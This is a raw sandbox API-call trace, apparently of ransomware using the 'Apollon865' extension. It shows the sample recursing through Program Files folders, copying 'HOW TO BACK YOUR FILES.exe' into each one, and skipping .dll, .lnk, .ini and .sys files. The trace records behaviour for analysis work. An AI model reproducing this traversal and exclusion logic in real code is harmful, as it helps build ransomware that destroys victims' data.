	[0052.316] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Photo Viewer" | out: lpString1="C:\\Program Files (x86)\\Windows Photo Viewer") returned="C:\\Program Files (x86)\\Windows Photo Viewer"
	[0052.316] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.316] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows photo viewer\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.321] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.321] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x37415650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37415650, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.321] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.321] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.321] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0052.321] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0052.321] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x64) returned 0x5994c0
	[0052.321] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc70 | out: ListHead=0x5b76b0, ListEntry=0x59fc70) returned 0x59fc50
	[0052.321] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37415650, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x37415650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.321] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.322] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7849cb5e, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x7849cb5e, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xdacc7aae, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16b08, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1
	[0052.322] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.322] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="Apollon865.txt.exe") returned 1
	[0052.322] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="ImagingDevices.exe" | out: lpString1="ImagingDevices.exe") returned="ImagingDevices.exe"
	[0052.322] lstrlenW (lpString="ImagingDevices.exe") returned 18
	[0052.322] lstrlenW (lpString="Apollon865") returned 10
	[0052.322] lstrcmpiW (lpString1="evices.exe", lpString2="Apollon865") returned 1
	[0052.322] lstrlenW (lpString=".dll") returned 4
	[0052.322] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2=".dll") returned 1
	[0052.322] lstrlenW (lpString=".lnk") returned 4
	[0052.322] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2=".lnk") returned 1
	[0052.322] lstrlenW (lpString=".ini") returned 4
	[0052.322] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2=".ini") returned 1
	[0052.322] lstrlenW (lpString=".sys") returned 4
	[0052.322] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2=".sys") returned 1
	[0052.322] lstrlenW (lpString="ImagingDevices.exe") returned 18
	[0052.322] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="ImagingEngine.dll" | out: lpString1="ImagingEngine.dll") returned="ImagingEngine.dll"
	[0052.322] lstrlenW (lpString="ImagingEngine.dll") returned 17
	[0052.322] lstrlenW (lpString="Apollon865") returned 10
	[0052.322] lstrcmpiW (lpString1="Engine.dll", lpString2="Apollon865") returned 1
	[0052.322] lstrlenW (lpString=".dll") returned 4
	[0052.322] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2=".dll") returned 1
	[0052.322] lstrlenW (lpString=".lnk") returned 4
	[0052.322] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2=".lnk") returned 1
	[0052.322] lstrlenW (lpString=".ini") returned 4
	[0052.322] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2=".ini") returned 1
	[0052.322] lstrlenW (lpString=".sys") returned 4
	[0052.322] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2=".sys") returned 1
	[0052.322] lstrlenW (lpString="ImagingEngine.dll") returned 17
	[0052.322] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="PhotoAcq.dll" | out: lpString1="PhotoAcq.dll") returned="PhotoAcq.dll"
	[0052.322] lstrlenW (lpString="PhotoAcq.dll") returned 12
	[0052.322] lstrlenW (lpString="Apollon865") returned 10
	[0052.323] lstrcmpiW (lpString1="otoAcq.dll", lpString2="Apollon865") returned 1
	[0052.323] lstrlenW (lpString=".dll") returned 4
	[0052.323] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2=".dll") returned 1
	[0052.323] lstrlenW (lpString=".lnk") returned 4
	[0052.323] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2=".lnk") returned 1
	[0052.323] lstrlenW (lpString=".ini") returned 4
	[0052.323] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2=".ini") returned 1
	[0052.323] lstrlenW (lpString=".sys") returned 4
	[0052.323] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2=".sys") returned 1
	[0052.323] lstrlenW (lpString="PhotoAcq.dll") returned 12
	[0052.323] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="PhotoBase.dll" | out: lpString1="PhotoBase.dll") returned="PhotoBase.dll"
	[0052.323] lstrlenW (lpString="PhotoBase.dll") returned 13
	[0052.323] lstrlenW (lpString="Apollon865") returned 10
	[0052.323] lstrcmpiW (lpString1="toBase.dll", lpString2="Apollon865") returned 1
	[0052.323] lstrlenW (lpString=".dll") returned 4
	[0052.323] lstrcmpiW (lpString1="PhotoBase.dll", lpString2=".dll") returned 1
	[0052.323] lstrlenW (lpString=".lnk") returned 4
	[0052.323] lstrcmpiW (lpString1="PhotoBase.dll", lpString2=".lnk") returned 1
	[0052.323] lstrlenW (lpString=".ini") returned 4
	[0052.323] lstrcmpiW (lpString1="PhotoBase.dll", lpString2=".ini") returned 1
	[0052.323] lstrlenW (lpString=".sys") returned 4
	[0052.323] lstrcmpiW (lpString1="PhotoBase.dll", lpString2=".sys") returned 1
	[0052.323] lstrlenW (lpString="PhotoBase.dll") returned 13
	[0052.323] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="PhotoViewer.dll" | out: lpString1="PhotoViewer.dll") returned="PhotoViewer.dll"
	[0052.323] lstrlenW (lpString="PhotoViewer.dll") returned 15
	[0052.323] lstrlenW (lpString="Apollon865") returned 10
	[0052.323] lstrcmpiW (lpString1="Viewer.dll", lpString2="Apollon865") returned 1
	[0052.323] lstrlenW (lpString=".dll") returned 4
	[0052.323] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2=".dll") returned 1
	[0052.323] lstrlenW (lpString=".lnk") returned 4
	[0052.323] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2=".lnk") returned 1
	[0052.324] lstrlenW (lpString=".ini") returned 4
	[0052.324] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2=".ini") returned 1
	[0052.324] lstrlenW (lpString=".sys") returned 4
	[0052.324] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2=".sys") returned 1
	[0052.324] lstrlenW (lpString="PhotoViewer.dll") returned 15
	[0052.324] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US") returned="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US"
	[0052.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994c0 | out: hHeap=0x580000) returned 1
	[0052.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0052.324] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US") returned 49
	[0052.324] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US" | out: lpString1="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US") returned="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US"
	[0052.324] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.324] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows photo viewer\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.328] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.328] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3743b7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3743b7b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.328] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.328] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.328] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="ImagingDevices.exe.mui" | out: lpString1="ImagingDevices.exe.mui") returned="ImagingDevices.exe.mui"
	[0052.328] lstrlenW (lpString="ImagingDevices.exe.mui") returned 22
	[0052.328] lstrlenW (lpString="Apollon865") returned 10
	[0052.328] lstrcmpiW (lpString1="es.exe.mui", lpString2="Apollon865") returned 1
	[0052.328] lstrlenW (lpString=".dll") returned 4
	[0052.328] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2=".dll") returned 1
	[0052.328] lstrlenW (lpString=".lnk") returned 4
	[0052.328] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2=".lnk") returned 1
	[0052.328] lstrlenW (lpString=".ini") returned 4
	[0052.328] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2=".ini") returned 1
	[0052.328] lstrlenW (lpString=".sys") returned 4
	[0052.328] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2=".sys") returned 1
	[0052.328] lstrlenW (lpString="ImagingDevices.exe.mui") returned 22
	[0052.328] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="PhotoAcq.dll.mui" | out: lpString1="PhotoAcq.dll.mui") returned="PhotoAcq.dll.mui"
	[0052.328] lstrlenW (lpString="PhotoAcq.dll.mui") returned 16
	[0052.328] lstrlenW (lpString="Apollon865") returned 10
	[0052.328] lstrcmpiW (lpString1="cq.dll.mui", lpString2="Apollon865") returned 1
	[0052.329] lstrlenW (lpString=".dll") returned 4
	[0052.329] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2=".dll") returned 1
	[0052.329] lstrlenW (lpString=".lnk") returned 4
	[0052.329] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2=".lnk") returned 1
	[0052.329] lstrlenW (lpString=".ini") returned 4
	[0052.329] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2=".ini") returned 1
	[0052.329] lstrlenW (lpString=".sys") returned 4
	[0052.329] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2=".sys") returned 1
	[0052.329] lstrlenW (lpString="PhotoAcq.dll.mui") returned 16
	[0052.329] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="PhotoViewer.dll.mui" | out: lpString1="PhotoViewer.dll.mui") returned="PhotoViewer.dll.mui"
	[0052.329] lstrlenW (lpString="PhotoViewer.dll.mui") returned 19
	[0052.329] lstrlenW (lpString="Apollon865") returned 10
	[0052.329] lstrcmpiW (lpString1="er.dll.mui", lpString2="Apollon865") returned 1
	[0052.329] lstrlenW (lpString=".dll") returned 4
	[0052.329] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2=".dll") returned 1
	[0052.329] lstrlenW (lpString=".lnk") returned 4
	[0052.329] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2=".lnk") returned 1
	[0052.329] lstrlenW (lpString=".ini") returned 4
	[0052.329] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2=".ini") returned 1
	[0052.329] lstrlenW (lpString=".sys") returned 4
	[0052.329] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2=".sys") returned 1
	[0052.329] lstrlenW (lpString="PhotoViewer.dll.mui") returned 19
	[0052.329] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows NT", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows NT") returned="C:\\Program Files (x86)\\Windows NT"
	[0052.329] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdf28 | out: hHeap=0x580000) returned 1
	[0052.329] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0052.329] lstrlenW (lpString="C:\\Program Files (x86)\\Windows NT") returned 33
	[0052.329] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows NT" | out: lpString1="C:\\Program Files (x86)\\Windows NT") returned="C:\\Program Files (x86)\\Windows NT"
	[0052.329] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.329] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows NT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows nt\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.333] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.333] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3743b7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3743b7b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.333] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.333] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.334] lstrcpyW (in: lpString1=0x2d3e594, lpString2="Accessories" | out: lpString1="Accessories") returned="Accessories"
	[0052.334] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0052.334] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5c) returned 0x5c5528
	[0052.334] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc50 | out: ListHead=0x5b76b0, ListEntry=0x59fc50) returned 0x59fc30
	[0052.334] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbef56f40, ftCreationTime.dwHighDateTime=0x1d53b61, ftLastAccessTime.dwLowDateTime=0xabca0650, ftLastAccessTime.dwHighDateTime=0x1d51ce5, ftLastWriteTime.dwLowDateTime=0xabca0650, ftLastWriteTime.dwHighDateTime=0x1d51ce5, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="confidential.exe", cAlternateFileName="CONFID~1.EXE")) returned 1
	[0052.334] lstrcmpiW (lpString1="confidential.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.334] lstrcmpiW (lpString1="confidential.exe", lpString2="Apollon865.txt.exe") returned 1
	[0052.334] lstrcpyW (in: lpString1=0x2d3e594, lpString2="confidential.exe" | out: lpString1="confidential.exe") returned="confidential.exe"
	[0052.334] lstrlenW (lpString="confidential.exe") returned 16
	[0052.334] lstrlenW (lpString="Apollon865") returned 10
	[0052.334] lstrcmpiW (lpString1="ential.exe", lpString2="Apollon865") returned 1
	[0052.334] lstrlenW (lpString=".dll") returned 4
	[0052.334] lstrcmpiW (lpString1="confidential.exe", lpString2=".dll") returned 1
	[0052.334] lstrlenW (lpString=".lnk") returned 4
	[0052.334] lstrcmpiW (lpString1="confidential.exe", lpString2=".lnk") returned 1
	[0052.334] lstrlenW (lpString=".ini") returned 4
	[0052.334] lstrcmpiW (lpString1="confidential.exe", lpString2=".ini") returned 1
	[0052.334] lstrlenW (lpString=".sys") returned 4
	[0052.334] lstrcmpiW (lpString1="confidential.exe", lpString2=".sys") returned 1
	[0052.334] lstrlenW (lpString="confidential.exe") returned 16
	[0052.334] lstrcpyW (in: lpString1=0x2d3e594, lpString2="TableTextService" | out: lpString1="TableTextService") returned="TableTextService"
	[0052.334] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0052.334] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x66) returned 0x5994c0
	[0052.334] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc70 | out: ListHead=0x5b76b0, ListEntry=0x59fc70) returned 0x59fc50
	[0052.334] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 0
	[0052.334] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0052.334] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc70
	[0052.334] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows NT\\TableTextService", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows NT\\TableTextService") returned="C:\\Program Files (x86)\\Windows NT\\TableTextService"
	[0052.334] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994c0 | out: hHeap=0x580000) returned 1
	[0052.334] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0052.335] lstrlenW (lpString="C:\\Program Files (x86)\\Windows NT\\TableTextService") returned 50
	[0052.335] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows NT\\TableTextService" | out: lpString1="C:\\Program Files (x86)\\Windows NT\\TableTextService") returned="C:\\Program Files (x86)\\Windows NT\\TableTextService"
	[0052.335] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.335] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.344] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.344] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3743b7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3743b7b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.344] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.344] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.344] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0052.344] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0052.344] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x591640
	[0052.344] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc70 | out: ListHead=0x5b76b0, ListEntry=0x59fc70) returned 0x59fc50
	[0052.344] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3743b7b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3743b7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.344] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.344] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x688296e7, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x688296e7, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xaf1e3ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4f600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TableTextService.dll", cAlternateFileName="")) returned 1
	[0052.344] lstrcmpiW (lpString1="TableTextService.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.344] lstrcmpiW (lpString1="TableTextService.dll", lpString2="Apollon865.txt.exe") returned 1
	[0052.344] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="TableTextService.dll" | out: lpString1="TableTextService.dll") returned="TableTextService.dll"
	[0052.344] lstrlenW (lpString="TableTextService.dll") returned 20
	[0052.344] lstrlenW (lpString="Apollon865") returned 10
	[0052.344] lstrcmpiW (lpString1="ervice.dll", lpString2="Apollon865") returned 1
	[0052.344] lstrlenW (lpString=".dll") returned 4
	[0052.345] lstrcmpiW (lpString1="TableTextService.dll", lpString2=".dll") returned 1
	[0052.345] lstrlenW (lpString=".lnk") returned 4
	[0052.345] lstrcmpiW (lpString1="TableTextService.dll", lpString2=".lnk") returned 1
	[0052.345] lstrlenW (lpString=".ini") returned 4
	[0052.345] lstrcmpiW (lpString1="TableTextService.dll", lpString2=".ini") returned 1
	[0052.345] lstrlenW (lpString=".sys") returned 4
	[0052.345] lstrcmpiW (lpString1="TableTextService.dll", lpString2=".sys") returned 1
	[0052.345] lstrlenW (lpString="TableTextService.dll") returned 20
	[0052.345] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="TableTextServiceAmharic.txt" | out: lpString1="TableTextServiceAmharic.txt") returned="TableTextServiceAmharic.txt"
	[0052.345] lstrlenW (lpString="TableTextServiceAmharic.txt") returned 27
	[0052.345] lstrlenW (lpString="Apollon865") returned 10
	[0052.345] lstrcmpiW (lpString1="mharic.txt", lpString2="Apollon865") returned 1
	[0052.345] lstrlenW (lpString=".dll") returned 4
	[0052.345] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2=".dll") returned 1
	[0052.345] lstrlenW (lpString=".lnk") returned 4
	[0052.345] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2=".lnk") returned 1
	[0052.345] lstrlenW (lpString=".ini") returned 4
	[0052.345] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2=".ini") returned 1
	[0052.345] lstrlenW (lpString=".sys") returned 4
	[0052.345] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2=".sys") returned 1
	[0052.345] lstrlenW (lpString="TableTextServiceAmharic.txt") returned 27
	[0052.345] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="TableTextServiceArray.txt" | out: lpString1="TableTextServiceArray.txt") returned="TableTextServiceArray.txt"
	[0052.345] lstrlenW (lpString="TableTextServiceArray.txt") returned 25
	[0052.345] lstrlenW (lpString="Apollon865") returned 10
	[0052.345] lstrcmpiW (lpString1="eArray.txt", lpString2="Apollon865") returned 1
	[0052.345] lstrlenW (lpString=".dll") returned 4
	[0052.345] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2=".dll") returned 1
	[0052.345] lstrlenW (lpString=".lnk") returned 4
	[0052.345] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2=".lnk") returned 1
	[0052.345] lstrlenW (lpString=".ini") returned 4
	[0052.345] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2=".ini") returned 1
	[0052.345] lstrlenW (lpString=".sys") returned 4
	[0052.345] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2=".sys") returned 1
	[0052.346] lstrlenW (lpString="TableTextServiceArray.txt") returned 25
	[0052.346] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="TableTextServiceDaYi.txt" | out: lpString1="TableTextServiceDaYi.txt") returned="TableTextServiceDaYi.txt"
	[0052.346] lstrlenW (lpString="TableTextServiceDaYi.txt") returned 24
	[0052.346] lstrlenW (lpString="Apollon865") returned 10
	[0052.346] lstrcmpiW (lpString1="ceDaYi.txt", lpString2="Apollon865") returned 1
	[0052.346] lstrlenW (lpString=".dll") returned 4
	[0052.346] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2=".dll") returned 1
	[0052.346] lstrlenW (lpString=".lnk") returned 4
	[0052.346] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2=".lnk") returned 1
	[0052.346] lstrlenW (lpString=".ini") returned 4
	[0052.346] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2=".ini") returned 1
	[0052.346] lstrlenW (lpString=".sys") returned 4
	[0052.346] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2=".sys") returned 1
	[0052.346] lstrlenW (lpString="TableTextServiceDaYi.txt") returned 24
